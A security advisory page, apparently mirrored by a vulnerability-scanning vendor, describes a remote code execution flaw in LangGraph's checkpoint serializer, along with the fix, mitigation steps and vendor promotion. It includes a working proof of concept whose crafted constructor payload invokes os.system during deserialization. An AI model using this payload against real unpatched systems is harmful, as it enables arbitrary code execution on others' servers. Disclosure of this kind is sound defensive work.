GHSA-wwqv-p2pp-99h5
LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.
If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.
Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.
If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.
Details
Affected file / component
By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.
When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.
Who is affected
This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:
- Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to"json"mode.
If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
Proof of Concept (PoC)
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State).
add_node("my_node", my_node).
add_edge("__start__", "my_node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
"attack": attack,
}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.
Internally, this exploits the following code path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized) # Executes os.system(...)
Fixed Version
The vulnerability is fixed in langgraph-checkpoint==3.0.0
Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
Fix Description
The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.
Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.
Mitigation
Upgrade immediately to langgraph-checkpoint==3.0.0.
This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.
In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langgraph-checkpoint | all versions | 3.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langgraph-checkpoint. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update langgraph-checkpoint to 3.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wwqv-p2pp-99h5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wwqv-p2pp-99h5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wwqv-p2pp-99h5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wwqv-p2pp-99h5 in your dependencies?
O3 detects GHSA-wwqv-p2pp-99h5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.